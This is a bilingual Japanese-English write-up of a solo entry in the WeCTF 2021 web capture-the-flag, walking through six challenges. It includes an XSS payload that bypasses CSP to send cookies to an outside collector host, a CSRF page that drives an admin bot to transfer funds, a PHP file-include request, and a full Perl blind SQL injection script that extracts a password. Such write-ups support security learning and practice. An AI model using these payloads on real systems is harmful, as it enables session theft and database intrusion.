WeCTF (2021) Writeup

[English version](#english-version) is in the latter half of this page.

# 日本語版

## 概要

[WeCTF](https://github.com/wectf/2021) (2021/06/20 02:00 ～ 2021/06/21 02:00 (JST)) ([CTFtime.org](https://ctftime.org/event/1231)) に1人チームで参加した。
結果は1947点で、約1000チーム (正の点数を取ったのは574チーム) 中29位だった。

解けた問題と時刻は以下のようになった。
(配点の合計と結果の点数が合わない。獲得した点数ではなく次に正解したら獲得できる点数が書かれている？)
Web問オンリーとされていたが、WelcomeはWebではなさそうだった。

|問題|配点|時刻 (JST)|
|---|--:|---|
|Include|310|2021/06/20 2:01|
|Cache|143|2021/06/20 2:35|
|Coin Exchange|379|2021/06/20 4:07|
|Welcome|10|2021/06/20 4:13|
|CSP 1|335|2021/06/20 4:30|
|Phish|592|2021/06/20 5:29|

## 登録

登録ではチーム名(チームで1個のアカウントを共有する形式のようだ)、メールアドレス、パスワードを要求された。
情報を送信すると、メールアドレスの確認を要求された。
届いたメールを確認すると、本文は

```
_
```

の1文字しか無かった。
メッセージのソースを確認すると、

```
Howdy MikeCAT,<br>
Thank you for registering WeCTF 2021! Here is your authentication link:<br>
https://21.wectf.io/confirm?token=3D********-****-****-****-************&em=
ail=3D**********************************%3D%3D<br>
```

というそれっぽい部分があった。 (一部の文字を伏せている)
しかし、このURLにそのままアクセスしても、うまく登録ができなかった。
`em`と`ail`の間の`=`を消すのに加え、2箇所ある`=3D`を`=`に置き換えてアクセスすることで、登録ができた。

## 解けた問題

### Welcome

問題文より

> The flag is b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")

`b64decode("`と`")`の間の文字列に対し[CyberChefでFrom Base64 → URL Decode](https://gchq.github.io/CyberChef/#recipe=From_Base64%28%27A-Za-z0-9%2B/%3D%27,true%29URL_Decode%28%29&input=ZDJVbE4wSTFPRFJqTkdOaU1DMWpZalU0TFRRMVlXSXRPVE5oTkMweU9XWTFZbVJoWXpsbU1qSkFhR1ZzYkc5ZmFHRmphMlZ5Y3lVM1JTVTNSQT09
)をすることで、flagが得られた。

```
we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}
```

### Cache

WebページのURLとソースコードが与えられた。

指定のURLの一つ`http://cache.sf.ctf.so/`にアクセスすると、Page not foundの画面になり、

> Using the URLconf defined in cache.urls, Django tried these URL patterns, in this order:
> 1. index
> 2. flag
> The empty path didn’t match any of these.

と表示された。

`http://cache.sf.ctf.so/index`にアクセスすると、

> Not thing here, check out /flag.

と表示された。

`http://cache.sf.ctf.so/flag`にアクセスすると、

> Only admin can view this!

と表示された。

配布されたソースコードをチェックすると、`cache/cache_middleware.py`において、
パスが`.css`、`.js`、`.html`のいずれかで終わっていたらキャッシュをするようになっているのが読み取れた。
さらに、パスに`.html`を加えた`http://cache.sf.ctf.so/flag.html`にアクセスしても、

> Only admin can view this!

と表示された。
これを踏まえ、まずUrl Viewer (指定のURLにadminとしてアクセスしてくれるツール)で
`http://cache.sf.ctf.so/flag.html`にアクセスさせ、すぐに手元のブラウザでも同じURLにアクセスすることで、
flagが得られた。

```
we{adecbd5c-a02c-4d85-883e-caee34760745@b3TTer_u3e_cl0uDF1are}
```

### Include

WebページのURLが与えられた。
また、問題文より`/flag.txt`を読めば良さそうである。

指定のURLの一つ`http://include.sf.ctf.so/`にアクセスすると、

```
 <?php
show_source(__FILE__);
@include $_GET["🤯"];

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:3 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 3
```

と表示された。
表示された絵文字をブラウザのURL欄にコピペし、パラメータとして使うための部分を補った
`http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txt`にアクセスすることで、flagが得られた。

```
we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}
```

### CSP 1

WebページのURLとソースコードが与えられた。

指定のURLの一つにアクセスすると、HTMLを入力する欄と送信ボタンが表示された。
例えば`aaaa`と入力して送信すると、`aaaa`が表示された。この時、ページのソースは

```html
<!-- Permalink: it's in navbar dumbass -->

<hr>

aaaa
```

となった。

さらに、`<script>alert(200)</script>`を送信すると、同様に

```html
<!-- Permalink: it's in navbar dumbass -->

<hr>

<script>alert(200)</script>
```

となったが、ダイアログは出なかった。
Firefoxの開発者ツールで確認すると、これは

```
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' ; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
```

というヘッダがあり、`script-src 'none';`によってスクリプトの読み込みが抑制されているからである。

配布されたソースコードをチェックすると、このヘッダの`img-src 'self'`の後の部分に
`img`タグの`src`属性に設定されたURLのプロトコルとホスト名の部分を加えている部分があった。

これを踏まえ、送信する内容を

```html
<img src="http://* ; script-src 'unsafe-inline'">
<script>alert(200)</script>
```

とすると、ヘッダが

```
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://* ; script-src 'unsafe-inline'; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
```

となり、指定に`script-src 'unsafe-inline';`が加わる。
すると、Firefoxでは重複した指定は最初のものが採用されるため、直書きしたスクリプトの実行が許可され、
ダイアログが表示された。

さらに、

```html
<img src="http://* ; script-src 'unsafe-inline'">
<script>
let img = document.createElement("img");
img.setAttribute("src", "https://example.com/?cookie=" + encodeURIComponent(document.cookie));
document.body.appendChild(img);
</script>
```

(実際は`example.com`のかわりにRequestBinのendpointのドメインを使用する)を送信すると、
RequestBinにcookieの内容を送ってくれるようになる。
この送信結果のページのURLをUrl Viewerに送ると、

```
/?cookie=flag%3Dwe%7B2bf90f00-f560-4aee-a402-d46490b53541%40just_L1k3_%3Csq1_injEcti0n%3E%7D
```

のような形でデータが送られてきた。
これに[CyberChefのURL Decodeをかける](https://gchq.github.io/CyberChef/#recipe=URL_Decode%28%29&input=ZmxhZyUzRHdlJTdCMmJmOTBmMDAtZjU2MC00YWVlLWE0MDItZDQ2NDkwYjUzNTQxJTQwanVzdF9MMWszXyUzQ3NxMV9pbmpFY3RpMG4lM0UlN0Q)ことで、flagが得られた。

```
we{2bf90f00-f560-4aee-a402-d46490b53541@just_L1k3_<sq1_injEcti0n>}
```

### Coin Exchange

WebページのURLとソースコードが与えられた。

指定のURLの一つにアクセスすると、UsernameとPasswordを入れてLogin/Registerする画面になった。
例えばそれぞれ適当なUUIDを入れるといいだろう。

最初にログインすると、以下の状況になる。

* 1000 USDと0 Ethを持っている
* 交換するEthの量を指定してUSDに替えることができる (0.00045 Eth/USDくらい)
* 交換するUSDの量を指定してEthに替えることができる (2200 USD/Ethくらい)
* 送り先のトークンと送るEthの量を指定して送れそうな画面があるが、Only admin can transfer :( と言われる
* Rankings画面を見ると、TheBossが大きな残高を持っていることがわかる

問題文より、自分の残高を\$5000以上にすればflagを送ってもらえそうである。
さらに、

> Hint: Search CSRF if you don't know what that is. 

というヒントも出ている。
ということは、adminからEthを送ってもらうのがよさそうである。

これを実現するため、配布されたソースコード中の`index.html`に対し、以下の5点の改造を加えた。
1点目に、`WebSocket`オブジェクトを作っている部分(2箇所)で、ドメインをページのURLから求めているので、
以下のような直接埋め込みに書き換えた。

```js
socket = new WebSocket("ws://" + "coin.sf.ctf.so:4001", "ethexchange-api");
```

2点目に、`script`タグの直下(関数やオブジェクトの定義の外)に以下を追加し、
ページを開いただけで処理が開始されるようにすた。

```js
window.addEventListener("load", start_socket);
```

3点目に、`start_socket`関数内の

```js
alert(content["message"])
```

の直前に

```js
{
    let img = document.createElement("img");
    let value = calculate_usd_eth_amount(config.base_balance, config.trade_history);
    img.setAttribute("src", "https://example.com/?message="+encodeURIComponent(content["message"])+"&usd="+value.usd + "&eth=" +value.eth);
    document.body.appendChild(img);
}
```

を書き加え、状況がRequestBinに伝わってくるようにした。
ただし、`example.com`はRequestBinのendpointのドメインに置き換える。

4点目に、`start_socket`関数内の

```js
routine = setInterval(routine_update, 1000)
```

の直後に

```js
send_content("buy", {amount: "110000"})
```

を書き加え、処理の開始時にUSDからEthへの交換を行うようにした。

5点目に、`routine_update`関数の前に

```js
let safety = 5;
```

を、同関数内の最後に

```js
if (parseFloat(eth) > 40 && safety-- > 0) {
    send_content("transfer", {amount: "40", to_token: "c16fa57d4b78704c11f083408206c7fb0499acbfaf2601e307b28cad55f79515"})
}
```

を書き加え、Ethを十分持っていたら送るようにした。
ただし、`to_token:`の後の文字列はYour Tokenの所に表示される自分のトークンとする。

改造後、このファイルをインターネットからHTTPでアクセスできる場所に置き、そのURLをUrl Viewerに渡した。
他の人に見られる可能性を下げるため、URLにUUIDを含めるなどするといいだろう。

すると、RequestBinにFilledのメッセージ(交換した事を表す)が送られてきて、
10秒くらいすると今度はTransferredのメッセージが送られてきた。
問題サイトに戻って確認すると、持っているEthの量が増え、Total Net USD Valueが5000を超えた。

しかし、画面上にflagは出てこなかった。
EthをUSDに交換し、持っているUSDが5000を超えても、変わらなかった。

Firefoxの開発者ツールでネットワークの様子をチェックし、2番目のwebsocketの応答を見ると、
受信したデータの最後にflagが書かれていた。

```
we{1e1b12c8-ed85-4b2b-879d-7475febe6281@d0g3&sh1b_th3_BEST!}
```

### Phish

WebページのURLとソースコードが与えられた。
指定のURLの一つにアクセスすると、ユーザーIDとパスワードを入力する画面になった。
両方に`a`を入れてEnterキーを押してみると、

```
Err: INSERT INTO `user`(password, username) VALUES ('a', 'a')
UNIQUE constraint failed: user.username
```

と表示された。

配布されたソースコード(`main.py`)をチェックすると、入力したusernameとpasswordを用いて

```py
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
```

というSQLをSQLiteで実行し、例外が出た場合はそれを、
出なかった場合は"Your password is leaked :)"を出力するようになっていた。

また、ユーザーIDに`07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '`、
パスワードに`a`を入れてみると、

```
Err: INSERT INTO `user`(password, username) VALUES ('a', '07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '')
NOT NULL constraint failed: user.username
```

と表示された。
このことから、最初にユーザーID`<UUID>_1`を送信しておき、
ユーザーIDとして`<同じUUID>_' || (select 1 from user where <真偽を判定したい式>) || '`
を用いることで、UNIQUEを含む応答が返ってきたら式が真、
NOT NULLを含む応答が返ってきたら式が偽と判定できることがわかる。

この性質を用い、まず`(select count(*) from user where password like 'we{%}') = 1`が真であること、
すなわちflagの書式に沿ったパスワードが1個しか無いことを確認した。

このことを確認したら、あとはこのパスワードの長さと各文字をそれぞれ二分探索で求めることができる。

<details><summary>該当のパスワードを求めるプログラム</summary><div>

```attack.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;
use URI::Escape;

my $sock;
my $closed = 1;

sub check {
	my ($query) = @_;
	if ($closed) {
		$sock = new IO::Socket::INET(PeerAddr=>"phish.sf.ctf.so", PeerPort=>80, Proto=>"tcp");
		die "connection failed: $!" unless $sock;
		binmode($sock);
		$closed = 0;
	}

	my $query2 = "8df29766_c727_434a_801e_860174aabf2d_' || (select 1 from user where " . $query . ") || '";
	my $body = "username=" . uri_escape($query2) . "&password=a";

	print $sock "POST /add HTTP/1.1\r\n";
	print $sock "Host: phish.sf.ctf.so\r\n";
	print $sock "Connection: keep-alive\r\n";
	print $sock "User-Agent: Perl\r\n";
	print $sock sprintf("Content-Length: %d\r\n", length($body));
	print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
	print $sock "\r\n";
	print $sock $body;

	# receive headers
	my $keep = 0;
	my $length = -1;
	while (my $line = <$sock>) {
		if ($line eq "\r\n") { last; }
		if ($line =~ /^transfer-encoding:\s*chunked/i) {
			die "panic: chunked unsupported!\n";
		}
		if ($line =~ /^content-length:\s*(\d+)/i) {
			$length = int($1);
		}
		if ($line =~ /^connection:\s*keep-alive/i) {
			$keep = 1;
		}
	}
	my $rcvd = "";
	while ($length > 0) {
		my $data = "";
		my $res = read($sock, $data, $length);
		die "socket error $!\n" unless defined($res);
		if ($res == 0) { last; }
		$rcvd .= $data;
		$length -= $res;
	}
	unless ($keep) {
		close($sock);
		$closed = 1;
	}
	if (index($rcvd, "UNIQUE") >= 0) {
		return 1;
	}
	if (index($rcvd, "NOT NULL") >= 0) {
		return 0;
	}
	die "panic: unexpected response:\n$rcvd\n";
}

# put the username to use in the server
eval {
	&check("1=1");
};

unless (&check("(select count(*) from user where password like 'we{%}') = 1")) {
	die "panic: multiple password exists\n";
}

my $less = 0;
my $ge = 1;
until (&check("(select length(password) from user where password like 'we{%}') <= $ge")) {
	$ge *= 2;
}

while ($less + 1 < $ge) {
	my $mid = $less + (($ge - $less) >> 1);
	if (&check("(select length(password) from user where password like 'we{%}') <= $mid")) {
		$ge = $mid;
	} else {
		$less = $mid;
	}
}

my $passlen = $ge;

print "length of password = $passlen\n";

my $pass = "";

for (my $i = 1; $i <= $passlen; $i++) {
	my $le = 0x20;
	my $greater = 0x7f;
	while ($le + 1 < $greater) {
		my $mid = $le + (($greater - $le) >> 1);
		my $query = sprintf("(select substr(password, %d, 1) from user where password like 'we{%%}') >= '%c'", $i, $mid);
		if (&check($query)) {
			$le = $mid;
		} else {
			$greater = $mid;
		}
	}
	$pass .= chr($le);
	print "done $i / $passlen\n";
}

print "$pass\n";

close($sock);
```

</div></details>

```
we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P}
```

# English version

## About

I participated in [WeCTF](https://github.com/wectf/2021) (June 20, 2021 02:00 ～ June 21, 2021 02:00 (JST: UTC+9)) ([CTFtime.org](https://ctftime.org/event/1231)) as a one-person team.
I earned 1947 points and ranked 29th among about 1000 teams (574 teams earned positive score).

Here are challenges I solved and the times I solved on.
(The total of the Values and the resulting score don't match. Maybe the values are not scores earned but scores to be earned by next acceptance?)
This competition is announced as Web challenges only, but the challenge Welcome didn't look like Web one.

|Challenge|Value|Time (JST: UTC+9)|
|---|--:|---|
|Include|310|2021/06/20 2:01|
|Cache|143|2021/06/20 2:35|
|Coin Exchange|379|2021/06/20 4:07|
|Welcome|10|2021/06/20 4:13|
|CSP 1|335|2021/06/20 4:30|
|Phish|592|2021/06/20 5:29|

## Registration

In the registration, a team name (It looked like we should share one account among one team), an e-mail address and a password.
Submitting the information, I was asked to confirm the e-mail address.
Seeing the e-mail received, the body had only one character:

```
_
```

Viewing the source of the message, I found a part that looks important:

```
Howdy MikeCAT,<br>
Thank you for registering WeCTF 2021! Here is your authentication link:<br>
https://21.wectf.io/confirm?token=3D********-****-****-****-************&em=
ail=3D**********************************%3D%3D<br>
```

(some characters are hidden)

However, the registration didn't success by just accessing this URL.
I succeeded to register by accessing after not only removing the `=` between `em` and `ail` but also replacing the two `=3D`s to `=`.

## Challenges I solved

### Welcome

The challenge description said:

> The flag is b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")

I got the flag by [applying From Base64 and URL Decode on CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64%28%27A-Za-z0-9%2B/%3D%27,true%29URL_Decode%28%29&input=ZDJVbE4wSTFPRFJqTkdOaU1DMWpZalU0TFRRMVlXSXRPVE5oTkMweU9XWTFZbVJoWXpsbU1qSkFhR1ZzYkc5ZmFHRmphMlZ5Y3lVM1JTVTNSQT09
) to the string between `b64decode("` and `")`.

```
we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}
```

### Cache

URLs of Web page and its source code were given.

I accessed one of the URLs `http://cache.sf.ctf.so/`, finding it is saying "Page not found" with

> Using the URLconf defined in cache.urls, Django tried these URL patterns, in this order:
> 1. index
> 2. flag
> The empty path didn’t match any of these.

Accessing `http://cache.sf.ctf.so/index` showed me

> Not thing here, check out /flag.

Accessing `http://cache.sf.ctf.so/flag` showed me

> Only admin can view this!

Checking the provided source code, `cache/cache_middleware.py` was caching the contents if the path ends one of `.css`, `js`, or `.html`.
Also, I accessed `http://cache.sf.ctf.so/flag.html` (with `.html` added to the path) and it also showed me

> Only admin can view this!

Based on this, I first had the Url Viewer (a tool that accesses a specified URL as the admin) access
`http://cache.sf.ctf.so/flag.html`.
Then accessed the same URL with a Web browser soon, getting the flag.

```
we{adecbd5c-a02c-4d85-883e-caee34760745@b3TTer_u3e_cl0uDF1are}
```

### Include

URLs of Web page were given.
Also the challenge description suggested that we should read `/flag.txt`.

Accessing one of the URLs `http://include.sf.ctf.so/`, it showed

```
 <?php
show_source(__FILE__);
@include $_GET["🤯"];

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:3 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 3
```

I got the flag by accessing `http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txt`
(copy-and-pasted the emoji to the address bar and added things to use that for the parameter)

```
we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}
```

### CSP 1

URLs of Web page and its source code were given.

Accessing one of the URLs, an field to give some HTML and a submit button were presented.
I entered `aaaa` and submitted, seeing `aaaa` displayed. The source code of the page for this was:

```html
<!-- Permalink: it's in navbar dumbass -->

<hr>

aaaa
```

I also sent `<script>alert(200)</script>` and got the page

```html
<!-- Permalink: it's in navbar dumbass -->

<hr>

<script>alert(200)</script>
```

But the dialog didn't show.

Checking with the developer tool on Firefox, this is because there exists a HTTP header

```
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' ; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
```

and the `script-src 'none';` is preventing it from loading scripts.

Checking the source code provided, it was adding URLs specified as the `src` attributes of `img` tags without the path part after `img-src 'self'` of the header.

Based on this, I submitted

```html
<img src="http://* ; script-src 'unsafe-inline'">
<script>alert(200)</script>
```

This makes the header be

```
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://* ; script-src 'unsafe-inline'; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
```

and `script-src 'unsafe-inline';` is added.
Now the dialog is shown because Firefox uses the first one for duplicate entries and it allows executing scripts that are directly written.

Moreover, sending

```html
<img src="http://* ; script-src 'unsafe-inline'">
<script>
let img = document.createElement("img");
img.setAttribute("src", "https://example.com/?cookie=" + encodeURIComponent(document.cookie));
document.body.appendChild(img);
</script>
```

(`example.com` should be replaced to a domain for RequestBin endpoint)
makes it send the contents of cookie to RequestBin.

Sending an URL for this page to the Url Viewer resulted in receiving data

```
/?cookie=flag%3Dwe%7B2bf90f00-f560-4aee-a402-d46490b53541%40just_L1k3_%3Csq1_injEcti0n%3E%7D
```

I got the flag by [applying URL Decode on CyberChef](https://gchq.github.io/CyberChef/#recipe=URL_Decode%28%29&input=ZmxhZyUzRHdlJTdCMmJmOTBmMDAtZjU2MC00YWVlLWE0MDItZDQ2NDkwYjUzNTQxJTQwanVzdF9MMWszXyUzQ3NxMV9pbmpFY3RpMG4lM0UlN0Q) to this.

```
we{2bf90f00-f560-4aee-a402-d46490b53541@just_L1k3_<sq1_injEcti0n>}
```

### Coin Exchange

URLs of Web page and its source code were given.

Accessing one of the URLs, it showed a form to Login/Register with a Username and a Password.
Entering some (different) UUID for each them will work, for example.

The situation after the first login is:

* I have 1000 USD and 0 Eth
* I can exchange Eth to USD with specifying the amount of Eth to exchange (about 0.00045 Eth/USD)
* I can exchange USD to Eth with specifying the amount of USD to exchange (about 2200 USD/Eth)
* There is a screen that seems possible to send some Eth with specifying the token of destination and the amount of Eth to send, but it says "Only admin can transfer :(" when I try to use that.
* The Rankings screen shows TheBoss having large balance.

The challenge description suggested that flag will be sent after making my balance $5000 or more.
Also there was a hint:

> Hint: Search CSRF if you don't know what that is. 

It looks like suggesting that I should have the admin send some Eth to me.

To achieve this, I made following 5 modifications to the `index.html` in the source code provided.

Firstly, I replaced the domain generated from the URL of the page to a fixed one like below in the two creations of `WebSocket` object.

```js
socket = new WebSocket("ws://" + "coin.sf.ctf.so:4001", "ethexchange-api");
```

Secondly, I added this just under the `script` tag (outside definitions of functions and objects), making it begin the process just by opening the page.

```js
window.addEventListener("load", start_socket);
```

Thirdly, I added

```js
{
    let img = document.createElement("img");
    let value = calculate_usd_eth_amount(config.base_balance, config.trade_history);
    img.setAttribute("src", "https://example.com/?message="+encodeURIComponent(content["message"])+"&usd="+value.usd + "&eth=" +value.eth);
    document.body.appendChild(img);
}
```

(replace `example.com` with a domain for RequestBin endpoint)
just before

```js
alert(content["message"])
```

in the `start_socket` function to have it send the status to RequestBin.

Fourthly, I added

```js
send_content("buy", {amount: "110000"})
```

just after

```js
routine = setInterval(routine_update, 1000)
```

in the `start_socket` function to have it exchange some USD to Eth at the beginning.

Fifthly, I added

```js
let safety = 5;
```

before the `routine_update` function and

```js
if (parseFloat(eth) > 40 && safety-- > 0) {
    send_content("transfer", {amount: "40", to_token: "c16fa57d4b78704c11f083408206c7fb0499acbfaf2601e307b28cad55f79515"})
}
```

at the end of the function to have it send Eth when it has enough one.
(Use our own token presented after "Your Token" for the string after `to_token:`)

After applying these modifications, I made this file available from the Internet via HTTP and sent its URL to the Url Viewer.
To prevent this file from being seen from other people, the URL should contain UUID or something.

After that, a "Filled" (the exchange done) message was sent to RequestBin,
and a "Transferred" message was sent to RequestBin about 10 seconds after that.
Checking the challenge page, the amount of Eth I have was glowed and the Total Net USD Value exceeded 5000.

However, the flag wasn't shown on the screen after that.
The situation didn't change even after making my USD over 5000 by exchanging Eth to USD.

I found the flag in the last part of the received messages by checking the network via the developer tool on Firefox and seeing the second websocket response.

```
we{1e1b12c8-ed85-4b2b-879d-7475febe6281@d0g3&sh1b_th3_BEST!}
```

### Phish

URLs of Web page and its source code were given.
Accessing one of the URLs, it showed me a form to enter an user ID and a password.

I entered `a` to both of them and hit Enter key, seeing a message

```
Err: INSERT INTO `user`(password, username) VALUES ('a', 'a')
UNIQUE constraint failed: user.username
```

Checking the source code provided (`main.py`), it was executing a SQL

```py
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
```

with the username and password entered on SQLite, and printing the exception thrown or "Your password is leaked :)" when no exception were thrown.

Also I entered `07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '` for the user ID and `a` for the password, getting a message

```
Err: INSERT INTO `user`(password, username) VALUES ('a', '07417b59_7fb6_4d9f_8cc2_68b70d05fdbd_' || (select 1 from user where 1=2) || '')
NOT NULL constraint failed: user.username
```

This is implying that we can check if an expression is true by:

1. Send a user ID `<UUID>_1`
2. Send a user ID `<the same UUID>_' || (select 1 from user where <the expression to check>) || '`
3. Judge as true if the response contains "UNIQUE" and judge as false if it contains "NOT NULL"

Firstly I verified that `(select count(*) from user where password like 'we{%}') = 1` is true.
It means there is only one password that matches the format of the flag.

Verifying this, we can obtain the length and each characters of the password using binary search.

<details><summary>A program to obtain the password</summary><div>

```attack.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;
use URI::Escape;

my $sock;
my $closed = 1;

sub check {
	my ($query) = @_;
	if ($closed) {
		$sock = new IO::Socket::INET(PeerAddr=>"phish.sf.ctf.so", PeerPort=>80, Proto=>"tcp");
		die "connection failed: $!" unless $sock;
		binmode($sock);
		$closed = 0;
	}

	my $query2 = "8df29766_c727_434a_801e_860174aabf2d_' || (select 1 from user where " . $query . ") || '";
	my $body = "username=" . uri_escape($query2) . "&password=a";

	print $sock "POST /add HTTP/1.1\r\n";
	print $sock "Host: phish.sf.ctf.so\r\n";
	print $sock "Connection: keep-alive\r\n";
	print $sock "User-Agent: Perl\r\n";
	print $sock sprintf("Content-Length: %d\r\n", length($body));
	print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
	print $sock "\r\n";
	print $sock $body;

	# receive headers
	my $keep = 0;
	my $length = -1;
	while (my $line = <$sock>) {
		if ($line eq "\r\n") { last; }
		if ($line =~ /^transfer-encoding:\s*chunked/i) {
			die "panic: chunked unsupported!\n";
		}
		if ($line =~ /^content-length:\s*(\d+)/i) {
			$length = int($1);
		}
		if ($line =~ /^connection:\s*keep-alive/i) {
			$keep = 1;
		}
	}
	my $rcvd = "";
	while ($length > 0) {
		my $data = "";
		my $res = read($sock, $data, $length);
		die "socket error $!\n" unless defined($res);
		if ($res == 0) { last; }
		$rcvd .= $data;
		$length -= $res;
	}
	unless ($keep) {
		close($sock);
		$closed = 1;
	}
	if (index($rcvd, "UNIQUE") >= 0) {
		return 1;
	}
	if (index($rcvd, "NOT NULL") >= 0) {
		return 0;
	}
	die "panic: unexpected response:\n$rcvd\n";
}

# put the username to use in the server
eval {
	&check("1=1");
};

unless (&check("(select count(*) from user where password like 'we{%}') = 1")) {
	die "panic: multiple password exists\n";
}

my $less = 0;
my $ge = 1;
until (&check("(select length(password) from user where password like 'we{%}') <= $ge")) {
	$ge *= 2;
}

while ($less + 1 < $ge) {
	my $mid = $less + (($ge - $less) >> 1);
	if (&check("(select length(password) from user where password like 'we{%}') <= $mid")) {
		$ge = $mid;
	} else {
		$less = $mid;
	}
}

my $passlen = $ge;

print "length of password = $passlen\n";

my $pass = "";

for (my $i = 1; $i <= $passlen; $i++) {
	my $le = 0x20;
	my $greater = 0x7f;
	while ($le + 1 < $greater) {
		my $mid = $le + (($greater - $le) >> 1);
		my $query = sprintf("(select substr(password, %d, 1) from user where password like 'we{%%}') >= '%c'", $i, $mid);
		if (&check($query)) {
			$le = $mid;
		} else {
			$greater = $mid;
		}
	}
	$pass .= chr($le);
	print "done $i / $passlen\n";
}

print "$pass\n";

close($sock);
```

</div></details>

```
we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P}
```